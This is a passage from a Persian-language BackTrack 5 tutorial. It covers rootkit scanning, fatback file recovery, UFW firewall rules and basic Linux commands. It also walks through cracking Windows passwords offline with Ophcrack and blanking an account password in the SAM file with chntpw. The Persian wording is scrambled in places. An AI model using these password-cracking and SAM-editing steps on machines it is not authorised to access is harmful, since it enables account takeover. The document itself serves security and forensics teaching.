:دیدن لیست روت کیت ها  و ماژول ها و تست هایی که قابل اجرا هستند)2
rkhunter --list

):skipعمل (شودو گذشتن از یک تست به تستی دیگر از دستور زیر استفاده میبراي هر اجرا)3
rkhunter --check --sk

Recovering data from a problematic source:
شود که به عنوان یک ابزار امنیتی براي اهدافی مثل کنده کاري بر روي فایل استفاده میبراي بازیابی فایل هاfatbackاز 
. یا یک هارد دیسکUSBسیب دیده در یک آبازیابی اطلاعات : مثلا. شوداستفاده میها 
: دیدن درایوهایی که در دسترس هستند)1

fdisk -l

.کنیماستفاده میdev/sdb1/در اینجا ما از :نکته

:ساخت یک فولدر براي نگه داري فایل ها)2
mkdir /fatback

mkdir /fatback/thumbdrivefiles
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: سپس به میسر زیر بروید)3
cd /fatback

: مسیر زیر)4
Applications | BackTrack | Forensics | Forensic Carving Tools | fatback

: یدآبعد از اجرا شدن توضیحات براي شما به نمایش در می )5

: توضیح متغیرها
-a:fatbackبه صورت خودکار اجرا شود.
-o:در این مثال مسیر زیر است.... مسیر براي نگهداري نتایج و  :/fatback/thumbdrivefiles
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dev/sdb1/:  خواهیم اطلاعاتش را یازیابی کنیم  این مسیر استو در اینجا اطلاعاتی که ما می

: دستور زیر با توجه به توضیحات بالا)6
fatback /dev/sdb1 -o /fatback/thumbdrivefiles -a

: س بعد از اتمام دستور بالا باید به مسیرهاي زیر برویم و نتایج را بررسی کنیمسپ
ls
cd thumbdrivefiles
ls

. بینید که یکسري فایل بازیابی شده استمی: نتیجه

: براي به دست اوردن اطلاعات بیشتر به سایت زیر بروید
http://www.forensicswiki.org/wiki/File_Carving

Retrieving a Windows password:
. کنیماستفاده میOphcrackیابی پسورد ویندوز از نرم افزاري مثل زدر این بخش براي با

: دانلود نرم افزار زیر)1
http://ophcrack.sourceforge.net/tables.php.

:مورد نظرتانtableانتخاب نوع )2
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. را انتخاب نماییدtablesرا در باز نموده و برگه ophcrackسپس باید )3

.installکلیک بر روي )4

:سپس به مسیري که نصب شده بروید)5
Applications |BackTrack| Privilege Escalation| Password Attacks|Offline Attacks |Ophcrack-GUI
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: Loadخود را انتخاب کنید از گزینه SAMسپس شما باید فایل )6

: کلیک کنید و منتظر نتایج باشیدCrackدر نهایت بر روي )7

Resetting a Windows password:
: کندبه صورت پیشفرض سیستم عامل از این فایل محافظت می. پسورد ویندوز را ریست کنیمخواهیم می

C:\Windows\System32\Config .دستورات زیر را بنویسید.
: دستور)1

fdisk -l

mount /dev/sda1 /target/

:SAMرفتن به مسیر )2
cd /target/windows/system32/config

: لیست کردن محتویات)3
ls -al

: دستور زیر)4
cd /pentest/passwords/chntpw

: اجراي برنامه)5
./chntpw -i /target/windows/system32/config/SAM
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,What to Do? area: یک سوال  می پرسد)6

. را بنویسید1شما عدد 
. خواهیمنویسید،چون ما اکانتی با دسترسی زیاد میبرا 1در ادامه مجدد عدد )7
). password blank(بار براي این است که یک پسورد خالی براي شما ایجاد کنداین، 1باز هم نوشتن عدد )8

Looking at the Windows registry entries:
. توانیم حتی محتویات تمام رجیستري را ببینیمما می.chntpwبا ابزار 

: دستورات زیر)1
fdisk -l

mount /dev/sda1 /target/

: SAMمسیر )2
cd /target/windows/system32/config

: دیدن محتویات فولدرها)3
ls -al

: مسیر)4
cd /pentest/passwords/chntpw

: )توانید انتخاب کنیدهر مدي را که شما دوست داشتید می(interactive modeرفتن برنامه به حالت )5
./chntpw -i /target/windows/system32/config

What: سوالی می پرسد)6 to Do? area

.را بنویسید9عدد 
:با دستور زیر. سپس ما دسترسی به محیط داریم)7
ls

:به فولدري که مدنظر داریم میرویمCDبا دستور )8
cd

. توانید با این روش رجیستري ویندوز را ویرایش کنیدمی
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: سایت هاي کاربردي فصل
http://indonetworksecurity.com/Network%20and%20website%20security/linux/page/4

chntpw:
http://www.wikihow.com/Change-a-Windows-User-Password-Using-Backtrack-4

http://www.quali5.asia/2013/03/convert-guest-account-into.html

http://securityxploded.com/backtrackregistry.php

www.youtube.com/watch?v=G15vPnmQ3Gk

www.youtube.com/watch?v=ukgJ-kgTjrc

http://www3.nd.edu/~dpettifo/tutorials/chntpw.html

ophcrack :
www.youtube.com/watch?v=X1krdBR_RRo

http://www.rmprepusb.com/tutorials/ophcrack

www.youtube.com/watch?v=di3BIqq40bE

fatback:
http://indonetworksecurity.com/linux/tutorial-fatback-backtrack.htm
www.youtube.com/watch?v=0TYLq2wTr00

http://www.securitytube.net/video/4245

chkrootkit:
www.youtube.com/watch?v=Zqs0CXfqVfU

http://hackingdna.com/Description.aspx?ItemHeaderId=3179E185-4F7A-4568-8DD4-
B563C5F050F2

http://fuzzexp.org/the-backtrack-forensics-the-howto.html

http://sourceforge.net/apps/trac/rkhunter/wiki/SPRKH

http://hackingbuzz.com/hunt-rootkits-with-rootkit-hunter-tool/
snort:
http://www.thegeekstuff.com/2010/08/snort-tutorial/
http://security.koenig-solutions.com/1/post/2013/02/configuring-snort-in-backtrack-5-
r3.html
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http://openmaniak.com/snort_tutorial_snort.php

http://www.linuxuser.co.uk/tutorials/protect-your-network-with-snort

gpgdir :
http://archive09.linux.com/feature/132999

http://kerry-linux.ie/wee/cloud/wee-owncloud.php

:باشیدPort Knickongپیگیر بحث جذاب :پیشنهاد
http://cipherdyne.org/blog/categories/port-knocking-and-spa.html
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ضمیمه اول

Appendix One
به جواب ه هامچون سعی کردم  تا جایی که ممکن است در این ضمی. این فصل یکی از کاربردي ترین ها  می باشد

. تا کمتر، وقت دوستان از دست رودبا نمونه مثال ها  برسمسوالات
:Create or extract [tar, zip, tar.bzip2, tar.gz ] files

:tarساخت فایل با پسوند 
$ tar -cvf filename.tar filename

: tar.gzوtarاستخراج فایل با پسوند 
$ tar -xvf filename.tar

tar -xvzf filename.tar.gz

:zipساخت فایل با پسوند 
zip filename.zip

: zipاستخراج فایل با پسوند 
unzip file.zip -d destination_folder

: gzاستخراج فایل با پسوند 
$ gunzip file.gz

یا
$ gzip -d file.gz

: tar.bz2استخراج فایل با پسوند 
bzip2 -cd file.tar.bz2|tar xvf-

). به صورت گرافیکی است(.ن را نصب کنیدآسرچ و synapticرا از xarchiverنرم افزار : پیشنهاد
: UFWکار با فایروال 

. نصب استubuntu 10.04یک فایروال که به صورت پیشفرض بر روي 
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: UFWفعال سازي 
sudo ufw enable

:UFWغیر فعال سازي 
sudo ufw disable

: چک کردن وضیعت فایروال
sudo ufw status verbose

: هتیجن
root@bt:~# ufw status verbose

Status: active

Logging: on (low)

Default: deny (incoming), allow (outgoing)

New profiles: skip

:یا دستور
sudo ufw status

:نتیجه
sudo ufw status

Firewall loaded

To Action From
22:tcp DENY 192.168.0.1
22:udp DENY 192.168.0.1
22:tcp DENY 192.168.0.7
22:udp DENY 192.168.0.7
22:tcp ALLOW 192.168.0.0/24
22:udp ALLOW 192.168.0.0/24

: UFWاستفاده از قوانین ویژه در 
.دهمبا مثال براي شما دوستان توضیح می

:کلیدستور

sudo ufw allow <port>/<optional: protocol>
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:1مثال
sudo ufw allow 53
sudo ufw allow 53/tcp
sudo ufw allow 53/udp

:کلیدستور

sudo ufw deny <port>/<optional: protocol>

:2مثال
sudo ufw deny 53/udp

sudo ufw deny 53

: دستور کلی
sudo ufw allow from <ip address>

: درس زیر هستندآipاجازه ورود به بسته هایی که داراي : 3مثال 
sudo ufw allow from 207.46.232.182

:بودندsubnetیا اگر در رنچ این 
sudo ufw allow from 192.168.1.0/24

: دستور کلی
sudo ufw allow from <ip address> to <protocol> port <port number>

: ، براي همه پروتکل ها22براي پورت 192.168.0.4ادرس Ipاجازه دسترسی به : 4مثال 
sudo ufw allow from 192.168.0.4 to any port 22

: دستور کلی
sudo ufw allow from <ip address> to <protocol> port <port number> proto <protocol name>

:192.1680.4درس آipو با tcpتوسط پروتکل 22اجازه دسترسی به پورت : 5مثال 
sudo ufw allow from 192.168.0.4 to any port 22 proto tcp

Enable/Disable کردن عملping:

:باید فایل مسیر زیر را ویرایش کنید
/etc/ufw/before.rules

: دستورات زیر را وارد کنیدبراي فعال کردن پینگ
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# ok icmp codes
-A ufw-before-input -p icmp --icmp-type destination-unreachable -j ACCEPT
-A ufw-before-input -p icmp --icmp-type source-quench -j ACCEPT
-A ufw-before-input -p icmp --icmp-type time-exceeded -j ACCEPT
-A ufw-before-input -p icmp --icmp-type parameter-problem -j ACCEPT
-A ufw-before-input -p icmp --icmp-type echo-request -j ACCEPT

.DROPبنویسید ACCEPT، بجاي pingبراي غیر فعال کردن عمل : نکته
# ok icmp codes

-A ufw-before-input -p icmp --icmp-type destination-unreachable -j DROP

-A ufw-before-input -p icmp --icmp-type source-quench -j DROP

-A ufw-before-input -p icmp --icmp-type time-exceeded -j DROP

-A ufw-before-input -p icmp --icmp-type parameter-problem -j DROP

-A ufw-before-input -p icmp --icmp-type echo-request -j DROP

: کار کردن با قوانین بر اساس شماره آنها
:یاتئدیدن تعداد قوانین با جز

sudo ufw status numbered

:شمارهحذف بر اساس 
sudo ufw delete 1
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:192.168.0.7و192.168.0.1و192.168.0.3ادرس هاي ipبا 22مسدود کردن دسترسی به پورت : 1سناریو 
sudo ufw status

):قبل اجراي دستور(نتیجه
Firewall loaded

To Action From

22:tcp DENY 192.168.0.1

22:udp DENY 192.168.0.1

22:tcp DENY 192.168.0.7

22:udp DENY 192.168.0.7

22:tcp ALLOW 192.168.0.0/24

): بعد از اعمال کردن قوانین(نتیجه
sudo ufw delete allow from 192.168.0.0/24 to any port 22

sudo ufw status

Firewall loaded

To Action From

22:tcp DENY 192.168.0.1

22:udp DENY 192.168.0.1

22:tcp DENY 192.168.0.7

22:udp DENY 192.168.0.7

sudo ufw deny 192.168.0.3 to any port 22

sudo ufw allow 192.168.0.0/24 to any port 22 proto tcp

sudo ufw status

Firewall loaded
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To Action From
22:tcp DENY 192.168.0.1

22:udp DENY 192.168.0.1

22:tcp DENY 192.168.0.7
22:udp DENY 192.168.0.7
22:tcp DENY 192.168.0.3
22:udp DENY 192.168.0.3
22:tcp ALLOW 192.168.0.0/24

: حذف قانون اعمال شده در فایروال
ufw deny 80/tcp

sudo ufw delete deny 80/tcp

:هاسرویس
:لیست شدن سرویس ها

less /etc/services

: سپس سرویسی را که قصد داریم عملی بر روي آن پیاده سازي کنیم می نویسیم
sudo ufw allow <service name>

sudo ufw allow ssh

sudo ufw deny ssh

Command in BT5-R3:
:touchدستور)1

. دستور ساخت فایل است
touch alimp5.html

:Catدستور)2
. می توانیم محتویات فایل را ببینیم

:echoدستور)3
.نوشتن در یک خط در درون فایل استفاده می کنیمبراي 

echo salaaam > alimp5.html
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:cpدستور )4
.راي کپی کردن استفاده می شودب

cp alimp5.html /tmp/alimp5.html

:mvدستور)5
.می شوداستفاده renameو کردنcutبراي

Mv alimp5.html /root/alimp5.html

mv alimp5.html jafar.html

: rmدستور )6
.براي پاك کردن فایل استفاده می شود

rm jafar.html

:ps auxدستور )7
.استدیدن پروسس هاي فعال در لینوکس

:Killدستور )8
.شودبراي بستن پروسس فعال استفاده می

kill -1580

:Locateدستور )9
.نام هاي شبیه نام مورد نظر ما را نیز پیدا می کند

:Findدستور )10
.می توان مسیر داد تا جست و جو کند

Find /root index.html

:adduserدستور )11
adduser  azimzadeh

unameدستور )12 –a:
.طلاعات کرنل سیستم را بدست می آوریما

lsدستور )13 –la :
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.فایل هاي مخفی را می توانیم ببینیم

:passwdدستور )14
.این فایل حاوي لیست یوزرهاي سیستم است

:مسیر آن
/etc/passwd

:اقدام به خواندن آن می کنیمcatبا
Cat /etc/passwd

: نصب فایل با پسوندهاي مختلف
:deb.براي پسوند 

dpkg -i locataion-file

:مثال
dpkg -i /root/Desktop/ali.deb

:rpm.براي پسوند 
rpm -i locataion-file

: مثال
rpm -i /root/Desktop/ali.rpm

:exe.براي پسوند 
wine location-file.exe

: مثال
wine /root/raidcall.exe

: به فایل ها) مجوز دادن(دسترسی
چون .ساخته اید، ولی این فایل اجراي نخواهد بودsh.شما یک اسکریپت با پسوند : دهمبا مثال به شما نشان می

. ندارید) permission(دسترسی
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استفاده کنید با اینکه، دستور اصلی که مربوط به دسترسی دادن است را sh alimp5.shیا باید براي این مثال از دستور 
: کنداستفاده کنید که براي همه فایل ها  صدق می

chmod 777 alimp5.sh

: و سپس
./alimp5.sh

:انتقال فایل از ماشین مجازي به سیستم عامل 
به ویندوز خودتان انتقال دهید چند روش vboxیا vmwareشما در صورتی که تمایل داشته باشید فایلی از محیط 

: دهموجود دارد که من یکی از آنها را براي شما توضیح می
: را فعال کنیدapacheابتدا به مسیر زیر رفته و )1
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: فایلی را که قصد کپی از ان را دارید در مسیر زیر قرار دهید)2
/var/www

: درس ماشین مجازي به همراه اسم فایل خود را وارد کنیدآipدر سیستم عامل مورد نظر، )3
ifconfig: آدرس ماشین مجازي با دستورipدیدن : نکته
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bt-vm.zip/127.0.0.1: دستور زیر را در مرورگر بنویسیدapacheبراي صحت از کارکرد : نکته

: دستور زیر را در مرورگر خود در ویندوز اجرا کنید)4
http://192.168.1.3/bt-vm.zip

.شودو در آخر فایل مورد نظر شما دانلود می
پس به این . نصب است، به همین خاطر اجازه نداد دانلود کنمComodoدر حال حاضر بر روي سیستم فایروال : نکته

. ولی قبل نصب این کار انجام می شد. نکات دقت داشته باشید

:DHCP_Server&Clientنصب 
:روش اول

:برنامه زیر را اجرا کنید
synaptic

dhcp3:  سپس متن زیر را سرچ کنید

. را نصب کنیدdhcp3-serverو dhcp3-clientو dhcp3-commonدر ادامه فایل هاي 
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: روش دوم
: باشیدubuntu 10.04براي به دنبال فایل هاي زیر.pkgs.orgwwwدر سایت 

dhcp3-client_3.1.3-2ubuntu3_i386.deb

dhcp3-common_3.1.3-2ubuntu3_i386.deb

dhcp3-server_3.1.3-2ubuntu3_i386.deb

.حذف کنید) درعکس(دیدیدsynapticفایل بالا را که در 3)  الف
:را نصب کنیدdeb.به ترتیب فایل هاي )  ب

dhcp3-common

dhcp3-server

dhcp3-client

. توانید کانفیگ هایی را که مد نظر دارید بر روي سرور پیاده سازي کنیدسپس می

: سایت هاي کاربردي فصل
http://www.proprofs.com/webschool/search.php?tag=true&search=backtrack,+hackers,+hac
king,+linux,+nmap,+snort,+power

http://www.wikihow.com/Unzip-Files-in-Linux

https://help.ubuntu.com/community/UFW

www.youtube.com/watch?v=cscIe9fYKMU

http://www.ubuntugeek.com/ufw-uncomplicated-firewall-for-ubuntu-hardy.html

https://help.ubuntu.com/community/Gufw

http://ubuntuforums.org/showthread.php?t=823741
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ضمیمه دوم

Appendix Two
: کتاب هاي  پیشنهادي

توانند از عناوین خواهند مطالعات بیشتري داشته باشند میدوستانی که علاقه مند در ضمینه هک و امنیت هستند و می
. گفته شده استفاده کنند تا بار علمی بیشتري به دست آوردند
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